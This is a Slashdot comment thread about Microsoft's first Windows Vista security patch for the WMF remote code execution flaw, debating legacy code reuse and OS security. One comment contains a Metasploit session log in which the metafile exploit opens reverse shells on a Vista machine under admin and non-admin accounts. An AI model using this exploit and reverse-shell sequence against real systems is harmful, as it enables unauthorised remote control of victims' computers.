Slashdot Mirror


First Windows Vista Security Update Released

Bard Of Vim writes "Microsoft has issued critical security patches for beta testers running the Windows Vista December CTP (Community Technology Preview) and Windows Vista Beta 1, and warned that the new operating system was vulnerable to a remote code execution flaw in the Graphics Rendering Engine. The Vista patches address the same vulnerability that led to the WMF (Windows Metafile) malware attacks earlier this month. The recent out-of-cycle security update for the WMF vulnerability (see slashdot coverage) makes no mention of Windows Vista being vulnerable, but with the release of this weekend's patches it is clear that the poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."

63 of 317 comments (clear)

  1. Cant wait... by XanthusMaximus · · Score: 2, Insightful

    Wonder what exploits there will be when its actually out?

    1. Re:Cant wait... by In+Fraudem+Legis · · Score: 2, Insightful

      Probably the same ones XP and 2k have.

      --
      Per Aspera Ad Astra.
    2. Re:Cant wait... by blast3r · · Score: 5, Informative

      I posted something about Vista being vulnerable to the WMF thing in a Vista Kernel post here not long ago. They got a little mad at me but that is okay. Everyone has to be mad at someone!

      People were telling me you can't automatically exploit it but I fired up metasploit and was successful with the admin account and a non-priv account.

      Administrator

      msf ie_xp_pfv_metafile(win32_reverse) > exploit
      [*] Starting Reverse Handler.
      [*] Waiting for connections to http://10.1.1.101:8080/
      [*] HTTP Client connected from 10.1.1.106:49450, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49451, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49452, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49453, sending 1864 bytes of payload...
      [*] Got connection from 10.1.1.101:4321 10.1.1.106:49454

      Microsoft Windows [Version 6.0.5112]
      (C) Copyright 1985-2005 Microsoft Corp.

      E:\Users\Administrator\Desktop>

      Test account

      msf ie_xp_pfv_metafile(win32_reverse) > exploit
      [*] Starting Reverse Handler.
      [*] Waiting for connections to http://10.1.1.101:8080/
      [*] HTTP Client connected from 10.1.1.106:49487, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49488, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49489, sending 1864 bytes of payload...
      [*] Got connection from 10.1.1.101:4321 10.1.1.106:49490

      Microsoft Windows [Version 6.0.5112]
      (C) Copyright 1985-2005 Microsoft Corp.

      E:\Users\test\Desktop>

      I am wondering what else they are going to import from the old technology. I was a Windows fan up until this WMF dealio. I work in an Information Security office and all of our staff are going to Mac. Ordered them Friday!

    3. Re:Cant wait... by Anonymous Coward · · Score: 3, Insightful
      Wonder what exploits there will be when its actually out?

      Fixing bugs in a pre-beta OS under development is indicative of this? Then a changelog of Linux or OS/X beta will scare you good.

    4. Re:Cant wait... by Overly+Critical+Guy · · Score: 5, Interesting

      With regards to Vista, it's a valid question. Remember that Microsoft is introducing all sorts of brand new version 1.0 APIs. They had to cancel Vista Beta 2 in favor of CTPs due to their rushed schedule, and they missed their Feature Complete deadline of December and are now aiming for the end of the month. Vista will suffer from reduced testing unless it is delayed to early 2007 (something I believe is likely to happen later this year).

      Contrary to popular belief, Vista isn't some big rewrite. It's the same Windows as before with some architectural changes and new API layers. But the old Win32 stuff is still in there.

      Wait 'til you guys see the fun way Vista gets older apps to run that expect admin privileges--it emulates a virtual filesystem and all sorts of other crazy things. My impression of Vista is that instead of a clean redesign, it's more layers of updates and APIs on the creaky building. As for WinFX, none of the major apps are going to rewrite their big applications just to go to the slow .NET framework. Photoshop, Dreamweaver, Maya, etc. will be Win32 forever.

      I believe there are plenty of reasons to be concerned about Vista. OS X had the advantage of totally starting over and just porting over the old toolbox APIs and calling it Carbon to get older apps to come along. Vista is a weird blend of old cruft and new less-tested code, complete with suspiciously high system requirements. But hey, at least they got shadows on their windows now--I've only been seeing that for five years from Apple.

      --
      "Sufferin' succotash."
    5. Re:Cant wait... by ozmanjusri · · Score: 2, Insightful

      Fixing bugs in a pre-beta OS under development is indicative of this?

      This is a bug that was found by a third party. Microsoft, with all the effort it is putting into the Vista release, did not find this major vulnerability. The implication is that it is likely more vulnerabilities will be found by third parties, some of them malicious.

      --
      "I've got more toys than Teruhisa Kitahara."
    6. Re:Cant wait... by blast3r · · Score: 3, Interesting

      Yes, I did order Macs for all of our staff (except for one that already has a Mac) so that means we will have 4 Macs in the office.

      I have used Microsoft since Dos 4.0 as well as other operating systems. This is the first time I got nervous just surfing the web. There have always been some kind of workaround. In this case there wasn't a good workaround for the zero day exploits that were all over the place. The crappy workaround M$ recommended wasn't a good workaround at all. If you disabled the crappy dll they suggested it is still possible for you to get compromised. There has been talk that some other programs would re-registere the crappy dll and any images you had stored in memory would be executed. Microsoft downplayed this just a bit too much for me. We have over 35,000 computers and we had students coming back the Friday before patch-tuesday. So, this was pretty bad. They did end up releasing the patch that Friday. Okay, I can live with that. *whew*

      Now, the fact that this same vulnerability was found in the new and secure Windows Vista just did it for me. That was the point I stopped being a Microsoft advocate.

      Yours truly,

      blast3r the newb

  2. And it wasn't audited while porting?! by Pecisk · · Score: 5, Interesting

    What a hell is happening on Microsoft? They have a major Windows version upgrade and they don't even audit their portable old code for such things?! I would get a someone responsible about security in Windows Vista fired ASAP.

    How they think will be migration from old versions of Windows if such things will countinue to happen? Yeah, I know, OEM will have Vista and that's all. But with Web applications my pick is that lot of enterprises will stick with their Windows 2000/XP.

    No doubt that Microsoft will have hard time to make Vista as smash hit as they would like it to be.

    --
    user@ubuntubox:~$ stfu This server is going down for shutdown NOW!
    1. Re:And it wasn't audited while porting?! by giorgiofr · · Score: 5, Interesting

      Well, Vista does look like it's seriously going to be a helluva flop, but because of a very simple reason: users don't need it! No, they don't care about security, they don't want to know about WinFS (which isn't there anyway), they certainly don't care about .NET 2.
      What matters is that they don't want to buy a new Dell in order to use... what exactly? Actually, were it not for some games and a slicker GUI, I'd probably stick with 2k, which is still the best Windows made to date. Yeah, holes in RPC and whatnot, but still better than all the other Windowses.

      --
      Global warming is a cube.
    2. Re:And it wasn't audited while porting?! by Timesprout · · Score: 2, Insightful

      What a hell is happening on Microsoft? They have a major Windows version upgrade and they don't even audit their portable old code for such things?!

      Eh, they fix a bug in an early beta version and you have a problem with this because?

      --
      Do not try to read the dupe, thats impossible. Instead, only try to realize the truth
      What truth?
      There is no dupe
    3. Re:And it wasn't audited while porting?! by NetJunkie · · Score: 5, Funny

      You're right! They should fix these bugs before release...in some period where things are still be fixed. Maybe call it....Beta, yeah, that's it. Oh wait....

    4. Re:And it wasn't audited while porting?! by Pecisk · · Score: 2, Insightful

      I have problem that they fixed this problem only because someone discovered this ugly hack and they should do that. They didn't discovered by themselves, as some of other posters pointed out, in two major version upgrades - Windows 2000 and Windows XP. And they claimed that Vista will be secure. Can you say Vista will be secure if they don't check out and don't catch such obious old design bugs like this one?

      It is not how the biggest and "greatest" software company in the world should do their homework.

      --
      user@ubuntubox:~$ stfu This server is going down for shutdown NOW!
    5. Re:And it wasn't audited while porting?! by westlake · · Score: 2, Insightful
      Vista does look like it's going to be a helluva flop, because of a very simple reason: users don't need it!

      Vista will appear in the consumer market as the successor to Win MCE, at a time when HDTV, the HTPC and on-line media services are becoming mass-market.

      To me, this looks like money in the bank.

    6. Re:And it wasn't audited while porting?! by imipak · · Score: 2, Insightful
      Well, Vista does look like it's seriously going to be a helluva flop, but because of a very simple reason: users don't need it!

      Son, I've been hearing people say that every time Microsoft finally crimps off another length of code into a shrinkwrapped box and calls it an OS since 1995. It was true then (cos Windows NT 3.51 was out...) and it's been true for every turd they've shipped since. And people still keep buying new PCs, which keep on arriving with the current shipping Microsoft OS for that market. They don't have to sellthe thing to anyone, they just have to 'roll it out'. Even corporates work on the same basis with a 12-24 month lag behind the consumer market.

    7. Re:And it wasn't audited while porting?! by frankthechicken · · Score: 2, Insightful

      and after letting a bug go through a whole product line unoticed for 10 years is ironic ...

      I think you misspelled iconic.

  3. At least... by ajdlinux · · Score: 5, Insightful

    ...they're fixing bugs before they release. M$ is doing something right and actually attempting to release a more secure Windoze than XP.

  4. Frist patch by sexyrexy · · Score: 5, Insightful

    They ported some functional code to their newest project. I hope they don't get unfairly bashed for this, just because a few bits of said code were discovered to be vulnerable. Every halfway intelligent programmer reuses code - it would be far more stupid not to. This is semi-interesting as a landmark ("frist patch!") but not exactly news because of what it contains.

    --

    Rex is 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    1. Re:Frist patch by Libor+Vanek · · Score: 2, Insightful

      You don't get it. Nobody is expecting that MS will not re-use the old code. For that MS is doing the "Singularity OS" project.

      What's wrong with this bug is that clearly Microsoft "software quality control" is failed (we know it for a long time - this is just another prove). All code going to Vista should be checked line by line and not cut-n-pasted function by function.

    2. Re:Frist patch by peragrin · · Score: 3, Insightful

      No MSTF ported flawed buggy code that was rewritten specifically for XP. With earlier 98/me/2k all immune MSFT rewrote buggy code just for XP and then carried that to Visyta.

      Vista by the way should of been a complete ground up rewrite. i would expect no less for taking over 6 years to build. Just look at were KDE, Linux kernel, X where 6 years ago. Hell look at what Apple did with OS X in far less time than MSFT. Every other major OS has under gone massive revisions and upgrades. Hell Apple is working on it's second major change in 6 years. (Mac OS 9 to OS X , PPC to Intel)

      Why can't MSFT with it's billions do that? Oh right because it's not about money spent but about productivity.

      --
      i thought once I was found, but it was only a dream.
    3. Re:Frist patch by IntlHarvester · · Score: 5, Insightful

      > Hell look at what Apple did with OS X in far less time than MSFT

      Apple bought an abandoned OS from the 1980s, that uses kernel with code originally written in the late 1970s. On top of that, they bolted a bunch of Toolbox compatibility code dating from the 80s and 90s, and a bunch of *nix stuff which is also 10-20 years old.

      So, it somewhat silly that you would argue that MS performs a "complete ground up rewrite", all while advocating MacOS X, which is a complete slut for legacy code.

      --
      Business. Numbers. Money. People. Computer World.
    4. Re:Frist patch by MikTheUser · · Score: 3, Insightful

      So, it somewhat silly that you would argue that MS performs a "complete ground up rewrite", all while advocating MacOS X, which is a complete slut for legacy code.

      Maybe his argumentation was wrong, but the simple fact is: BSD/Darwin/OS X never needed a rewrite - they work really well to this day, as you can see on Apples all over the globe. Windows' code, however, should have been dumped, printed on toilet paper and nailed to the church door as a bad example at the time Windows ME was released at the very latest.

    5. Re:Frist patch by keytoe · · Score: 2, Funny
      which is a complete slut for legacy code.
      Yeah - all that legacy code with loose morals, years of testing and refinement. What a whore.
    6. Re:Frist patch by diegocgteleline.es · · Score: 2, Informative

      Repeat after me: Mac OS X is not a microkernel. Mac OS X is not a microkernel

      Mac OS X is derived from a microkernel (Mach) - but it's far from being a microkernel. A microkernel is not supposed to have the whole TCP/IP stack in kernel space. A microkernel is not supposed to implement drivers in kernel space. A microkernel is not supposed to have the filesystem in kernel space. Microkernels were, in fact, invented to get these things out of kernel space and run as userspace, etc. Being a pure microkernel implied a performance penaly they were not willing to pay. By moving all those things to kernel space, Mac OS X broke the whole "idea" behind microkernels and stopped being a microkernel (which is not a bad thing: all the other OSes do the same).

      NT was also derived from Mach BTW. I will never understand why Mac zealots spend countless hours saying how crap the NT kernel is when the fact is that they derive from the same idea. And just because they are derived from a microkernel doesn't mean the microkernel is who implements all the funtionality. Mac OS X and NT copy from mach the "design": processes implementing funtionality runing in userspace, the real kernel being a scheduler scheduling those processes, etc. That's the "framework", the real functionality (TCP/IP, drivers, FS, etc) is implemented on top of that. The difference is that NT implemented that funcionality looking at VMS, and Mac OS X/nextstep implemented it by using BSD code from FreeBSD. There're some exceptions i think (mac os x vfs and journaling layer is implemented by Mach i think) but the idea is that. And this is BTW the reason why Linus Torvalds just hates mac os x and NT design: If you're going to do a microkernel, do it, but if you are going to put all the drivers and tcp/ip stack in the kernel, then don't use a microkernel design base because you're using the wrong tool and you're overengineering, just use a monolithic kernel and modularize it as much as you can (or something like that)

    7. Re:Frist patch by Tony · · Score: 3, Insightful

      Apple bought an abandoned OS from the 1980s . . .

      Funny you should mention NeXT. It was easy-to-use, powerful, developer-friendly, and by far the best OS for desktop use.

      I use the NeXT to illustrate how Microsoft has set the computer industry back. To this day, MS-Windows still doesn't have the power or ease-of-use of the NeXT. It wasn't until Apple picked up the pieces with OS X that an operating system approached the desktop usability of NeXTStep.

      Microsoft set the computer industry back over a decade. So when you talk about how Apple just stole a bunch of old code to make OS X, at least they had the smarts to steal the good code. Microsoft doesn't have access to good code, so they just steal from themselves.

      Microsoft: it's like corporate masturbation!

      --
      Microsoft is to software what Budweiser is to beer.
    8. Re:Frist patch by drsmithy · · Score: 2, Insightful
      Vista by the way should of been a complete ground up rewrite.

      Completely unnecessary. The guts of NT are (and always have been ) quite solid.

      i would expect no less for taking over 6 years to build.

      It's only been 3 years since the last Windows NT release.

      Just look at were KDE, Linux kernel, X where 6 years ago.

      It's a lot easier to make large gains when large gains actually need to be made.

      Hell look at what Apple did with OS X in far less time than MSFT.

      Apple slapped a new display system and virtual machine compatibility layer onto an OS they bought. Then it took them 3 subsequent major releases to get a good product out of it.

      Every other major OS has under gone massive revisions and upgrades.

      Every other major OS has had a lot more to do.

      Hell Apple is working on it's second major change in 6 years. (Mac OS 9 to OS X , PPC to Intel)

      PPC to intel is not a major change (well, not from the perspective of the OS). OS X is portable, it hardly needs to be changed at all to move from PPC to x86.

  5. Does anyone else get the feeling... by ZackSchil · · Score: 3, Insightful

    that Windows Vista isn't going to be all the fresh, hot goodness that we've been promised? For their own sake, Microsoft should step away from their stale and horribly insecure old code bases. They've had enough time now to rewrite the OS a few times over but it seems they chose instead to shoehorn in their old crap. Now is as good a time as any to cut the Win 9x support cord.

    1. Re:Does anyone else get the feeling... by thefogger · · Score: 5, Insightful

      It is reasonable to carry over old code to a new platform if you want to keep compatibility. Why in the world do you think a rewrite would improve security? It would only cause MORE bugs for years and years to come. Right now, Win32/GDI is quite bug-free, or at least undocumented bug-free. The WMF bug was a design flaw, not a coding error. Also, this has nothing to do with Win9x, for which they HAVE cut the support cord regarding the WMF vulnerability.

      Cheers, Fogger

      --


      Um... I didn't do it!
    2. Re:Does anyone else get the feeling... by IntlHarvester · · Score: 5, Insightful

      Not true! Windows Vista was promised to be nearly completely backward-compatibile with previous Windows!

      And that is exactly what IT customers want. They only way they can keep all those millions of custom programs developed for Windows over the last decades working is by pulling forward legacy code.

      Hey look at Apple -- they just introduced machines that do not run any software from as little as 5 years ago. Apple also has nearly zero corporate desktops. Connect the dots. Maybe consumer users running Firefox and iTunes and MSN Messenger want a "all new Windows", but nobody else does.

      --
      Business. Numbers. Money. People. Computer World.
    3. Re:Does anyone else get the feeling... by AuMatar · · Score: 3, Informative

      Consumers don't want it either. They have even less money to pay for new software and hardware than buisnesses. They rarely upgrade any software until they have to or they get a new computer (unless the upgrade is free).

      --
      I still have more fans than freaks. WTF is wrong with you people?
    4. Re:Does anyone else get the feeling... by noidentity · · Score: 2, Funny

      "Not true! Windows Vista was promised to be nearly completely backward-compatibile with previous Windows!"

      And it's working too; the latest exploit worked fine on Vista!

  6. Gibson is such an Alarmist! Now patch your code! by kupci · · Score: 4, Interesting
    Get ready for all the Slashdotters and Microsoft fanboys to rip on Gibson being such an alarmist, as they quietly get ready to patch their boxes.

    The issue here is I think, that Microsoft continues to this day, to be rather sloppy and secretive about fixing their stuff. So if Gibson makes a big flap, so be it. Better that than a back door that MSFT doesn't bother to fix, because they don't consider it a "critical vulnerability" or some other excuse. As Gibson points out, no question this is highlighting one of the main benefits of open source - the source is there for all to see, no dickering about whether it was intentional or not, it gets fixed. Period.

  7. About Windows Vista by mshiltonj · · Score: 4, Interesting
    From: http://msdn.microsoft.com/windowsvista/about/
    Security Advances

    Windows Vista introduces an improved security model that reduces a system's vulnerability to attack while still empowering applications. In particular, it makes the new User Account Protection (UAP) the default user account, and provides an easy-to-use temporary-privilege elevation model. As a result, malware installations are reduced and more OS functionality is made safely available to non-administrators. Security is further strengthened with a trust-based validation system through Mandatory Integrity Control, and Windows Resource Protection (the follow-on to Windows File Protection) guarantees a stable, read-only view of a running operating system.
    Uh-huh.
    1. Re:About Windows Vista by springbox · · Score: 2, Insightful

      Don't be mean. If they can pull that off it would be a huge step forward for them in terms of security. This is exactly the same issue with Windows that most people here continually complain about.

  8. more like.. by ltwally · · Score: 3, Insightful
    "...it is clear that the poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."
    It's more like SetAbortProc was never removed from the common code-base that Vista inherited from XP. Saying it was "ported" would lead one to believe that MS actually re-writes the entire OS with every major release. They do not. They simply tack on some new stuff.
    --



    /dev/random
    1. Re:more like.. by dabraun · · Score: 2, Informative

      They "started over" by going back to the RTM Windows Server 2003 code and porting in features from the previous attempt at longhorn selectively. That is, they reset the development of Vista - they did not write a new operating system from scratch.

  9. The first one .... by antek9 · · Score: 4, Funny

    .... will probably call itself 'Hasta la vista, baby!'.

    Sorry, couldn't resist, please ignore...

    --
    A World in a Grain of Sand / Heaven in a Wild Flower,
    Infinity in the Palm of your Hand / And Eternity in an Hour.
  10. Re:Vista is Yesterday's News by ajdlinux · · Score: 4, Insightful

    > Unpriveleged access will be the default, and it'll be damn near impossible to breach Yes, because of the hardware-level DRM chips it will be impossible. The next few Windoze OSes will be much more secure, not only from the outside, but from the user.

  11. I find it amusing... by ConceptJunkie · · Score: 3, Interesting

    I find it completely amusing not that this is a security bug that lets someone compromise your computer, but that it's the "Graphics Rendering Engine". I wonder how good it is for doing things like, you know, rendering graphics.

    Like I said once years ago, if edlin were written today, it would have direct access to kernel-level functions through scripting and be a vector for both viruses and remote exploits.

    --
    You are in a maze of twisty little passages, all alike.
  12. Let's be fair by inkswamp · · Score: 2, Insightful
    I despise Microsoft and think their products are generally crappy, but what is it about patching or refining beta software that makes this newsworthy? Because it's MS?

    --
    --Rick "If it isn't broken, take it apart and find out why."
    1. Re:Let's be fair by DECS · · Score: 2, Insightful

      I'd say it's newsworthy because Vista is being sold to the public as being a whole new OS with an improved security model.

      The fact that they've imported decades of legacy Windows code, written for a period of time when security was designed for LAN environments rather than open access to public networks, seems a bit shocking even to people like me who already KNEW THIS.

      Sometimes things you already know are newsworthy/shocking after you see them in print or hear them out loud.

  13. Bad code, bad port, bad system by jeremiahbell · · Score: 2, Insightful

    All operating system updates must of necessity borrow from their predecessors. My question is: Are the security problems in Windows so bad that Microsoft should dump it; are the problems bad enough not even microsoft can go through and patch it all?

    I believe it is very likely so. It is time to dump this code and go to a new platform. Whether this is done my microsoft itself or by the many alternatives out there to the Windows operating system.

    --
    "Where have all the good people gone?" - Jack Johnson
  14. SetAbortProc is OK by RingDev · · Score: 4, Informative

    "poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."

    SetAbortProc is well designed. The problem is the code that handles the WMF. That code is allowing a payload to be placed on the stack and an incorrect pointer to be sent.

    All set abort proc does is send an abort code to the print job and set a call back method to call when the abort completes.

    -Rick

    --
    "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
    1. Re:SetAbortProc is OK by RingDev · · Score: 4, Informative
      int SetAbortProc(
      HDC hdc, // handle to DC
      ABORTPROC lpAbortProc // abort function
      );
      SetAbortProc doesn't take a Length value. It takes the DC of the print job to cancel, and the pointer to a call back method to launch when the abort completes.

      I was incorrect in one aspect. SetAbortProc is in the GDI, NOT Win32 library. But it isn't the problem here. The problem is that vulnerbility in the code that parses the record is passing the incorrect call back method pointer to the SetAbortProc method.

      -Rick
      --
      "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
  15. Re:No firewalls? by Neeex · · Score: 2, Informative

    Don't people use firewalls anymore?

    Firewalls don't help in this case. The flaw allows attackers to execute code of their choice on a system when the victim views a WMF file (on a website, for example).

    --
    All those who believe in telekinesis, raise my hand.
  16. Firewall will not help by joshtimmons · · Score: 2, Informative

    That is why this is such a dangerous vulnerablities. Since this is a vulnerability in the graphics engine (metafile playback) it can be exploited through a web page that contains a malicous graphic. That will come right in through port 80 on your firewall.

  17. does it really count if it's still in beta? by artifex2004 · · Score: 2, Insightful

    doesn't this type of thing happen in a lot of betas?

  18. Re:Gibson is such an Alarmist! Now patch your code by scdeimos · · Score: 3, Interesting

    Yes, and Gibson is well known for *not* being an open source advocate, quite the opposite. So for him to start swinging towards open source is really a big thing.

  19. Re:Gibson is such an Alarmist! Now patch your code by PCM2 · · Score: 2, Informative

    IIRC, Gibson wasn't saying it was a back door that Microsoft hadn't bothered to fix. He was suggesting that it was a back door that somebody had put there on purpose.

    --
    Breakfast served all day!
  20. There's an old saying... by RoffleTheWaffle · · Score: 2, Insightful

    ... in the computing world that applies not only to many aspects of the evolution of technology, especially software.

    "Garbage in, garbage out."

    I wonder how much of Vista is actually based on new code. Is Vista going to be Windows XP in Mac OSX's clothing? And is it going to inherit the same piss-poor security it's predecessor had? I certainly hope not.

  21. In case you didn't already know... by azureice · · Score: 2, Informative

    It's been speculated that the WMF vulnerability was there intentionally for whatever reason, or so GRC reported: http://www.grc.com/SecurityNow.htm#22 . Now if it was a rouge programmer or part of MS's plans for world domination, we don't know, but if it was indeed placed there intentionally, it wasn't a bug. If it's not a bug, then of course it would survive the code auditing several times over. Because of the recent discovery of it by the public, of course, MS had to fix it on all OSes, and the Vista patch was just later than the others because it wasn't as critical.

  22. Re:I find such lack of security... by undeadly · · Score: 3, Insightful
    I agree. I've yet to remember a critical fedora patch for a not yet released Redhat FC distribution.

    This says more about Redhat FC than Microsoft, in this case. Just about weekly there is discovered a new local root vulnerability in the Linux kernel, and having dozens of those in the last year or so does not speak well of Linux security.

  23. I find such a lack of consistency . . . by EraserMouseMan · · Score: 5, Insightful

    entertaining. Google "beta" products that are used by millions have huge security bugs that let malicious persons read anyone's email and nobody says much and it is swept under the rug. Microsoft's "beta" products that are only in use by testers/developers have a security issue and everybody's shaking their head and talking about how horrible MS is. It's just amusing to me.

    1. Re:I find such a lack of consistency . . . by marcello_dl · · Score: 3, Insightful

      hehe come on, wasn't Vista marketed as the next gen secure OS coming from a company who claim they are more secure and offer better ROI of the competition? Then it comes up they are porting code with bugs (if not backdoors) and they release a security update before the official release.

      Sure, linux sometimes has the same kind of updates. But bug disclosement in linux isn't a terrorist activity, kernel versions are named 2.2, 2.4, 2.6 and earns it reputation on the field, not with marketing fluff.

      --
      ---- MISSING MISCELLANEOUS DATA SEGMENT --- [sigdash] trolololol
  24. You mean the BETA is not production ready?!?! by drsmack1 · · Score: 2, Insightful

    Isn't this just a little too much? Do the people who accept these sort of stories have ANY introspection at all?

  25. Re:I find such lack of security... by fimbulvetr · · Score: 3, Informative

    Say what???
    Just about weekly? I beg to differ. Last local root exploit:

    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE- 2005-3257 Date? 2005-10-17

    The one before:

    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2005-2490 (and 2492, both with sendmsg) Date? 2005-09-09

    How about the one before?

    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2005-1768 Date? 2005-07-11

    Perhaps you'd like to backup your claim?

    Dozens? No. Several? Yes. Dozen? About that. How many would M$ products have if as many eyes analyzed it relentlessly? A metric assload. Take the partial 2k source code for an example.

  26. Didn't Microsoft say... by Hymer · · Score: 3, Informative

    ...that Longhorn (now Vista) is completly new design... from scratsh... none of the earlier flaws would be ported to it ?
    Do I remember wrong ? ...or are they full of shit as usual ?

    1. Re:Didn't Microsoft say... by sethadam1 · · Score: 4, Insightful

      You remember right. That was the deal about 4-5 years ago or so. Gates called it a "bet the company" initiative, and they decided to rewrite from scratch.

      Then, a few years later, pretty much nothing worked, so they tossed out all the 4000-era builds, took a clean copy of Windows 2003 SP1, and built on top of that.

      That is Vista. It's built on Server 2003 SP1.

  27. The real deal by jamesl · · Score: 2

    From the Microsoft Security Center Blog, facts about "the recent WMF issue" and SetAbortProc.

    Now that the monthly release has passed and people are deploying the updates I wanted to take a moment to discuss some things related to questions we've been receiving on the recent WMF issue. (Which was addressed in MS06-001).
    http://blogs.technet.com/msrc/archive/2006/01/13/4 17431.aspx

  28. Re:.NET 2 = already available. by Nik13 · · Score: 5, Informative

    Actually, .NET 2.0 runs on everything short of Win95 AFAIK. Vista isn't about .NET 2.0 whatsoever, it's about a bunch of other new technologies:

    WPF: Windows Presentation Framework ("avalon"; using XAML): what WinFX and the new AERO Shell are based onto;
    WCF: Windows Communication Foundation ("indigo": an enhancement to Web Services, MSMQ, etc);
    WWF: Windows Workflow Foundation, to help take care of scenarios like the one that was asked on "ask.slashdot.org" just yesterday. Something that's becoming increasingly common/important nowadays.

    People like to just dismiss Vista like it has nothing new or worthwhile, ignoring all the new stuff that actually IS there, not just the previous 3 things mentionned, but there's a great deal of other changes (video drivers not in kernel mode anymore, new audio and printing (both work quite differently), GUI rendered by the

    There are differences. It may not be worthwhile to everyone, but as a programmer I'm looking forward to many of these advances (WCF seems really nice). Saying Vista is about .NET 2 and that people don't care about that is uninformed at best...

    --
    ///<sig />
  29. Re:.NET 2 = already available. by giorgiofr · · Score: 3, Insightful

    Well I kinda summed it up a bit too much but my point is that *users* won't care about such technologies. I, as a developer, think they might be nice (but as I'm switching over to Linux I don't care too much); users won't. I was not saying Vista is stupid or limited; I was saying users will not perceive it as worth much more than XP. Then of course if developers force them to use Vista, that's another story...

    --
    Global warming is a cube.
  30. Outlook? by Tony · · Score: 2, Funny

    But going forward MS is going a whole new outlook on security.

    That's funny. Outlook was one of Microsoft's first major security problems.

    --
    Microsoft is to software what Budweiser is to beer.
  31. Re:I find such lack of security... by fimbulvetr · · Score: 2, Insightful

    Now, any good sysadmin knows that he shouldn't be running 2.6 yet, which renders most of the 2.6 vulnerabilities moot for gauging the security of a linux box. When 2.4 was riddled with holes, we used 2.2, and so on.

    Another thing good sysadmins should do to minimize threats is to chroot all of his daemons as well as not provide them with logon shells and huge 100+ character pwgen'd passwords - effectively negating the vulnerability from a server standpoint.

    Those are just two of the things Linux offers us that M$ software does not. To say that local exploits on the newest kernel should be humbling to the linux community because it's no better than Microsoft's latest "stable" OS is ignorance in just about every way.

  32. Before i replied by myfantasyromanc · · Score: 3, Informative

    Now people are making fun of microsoft for porting this over to vista! Do any of you know what it is. If you are a graphics designer you probably should know what it is. Look it up graphics designers and web designers love vector graphics. This is the file that allows windows to draw vector and bitmap images on pre 2000 systems, though it is still included for backwards compatability.

    A metafile is a list of commands that can be played back to draw a graphic. Typically, a metafile is made up of commands to draw objects such as lines, polygons and text and commands to control the style of these objects. NOTE: Some people equate metafiles with vector graphics. In most cases this is fine; but, strictly speaking, a metafile can contain any mix of vector and raster graphics. For example, a metafile could contain just one command to display a bitmap! Unless the distinction is important, we will consider a metafile to be a kind of vector graphic.

    The reason it was still included is cause it is technically a file format! Do you rewrite everything in linux? Was php totally rewritten from the ground up from php4 to php5 i don't think so.

    Just my take on things!

    --
    I am giving away 2000 premium accounts on my new dating website myfantasyromance.com check it out!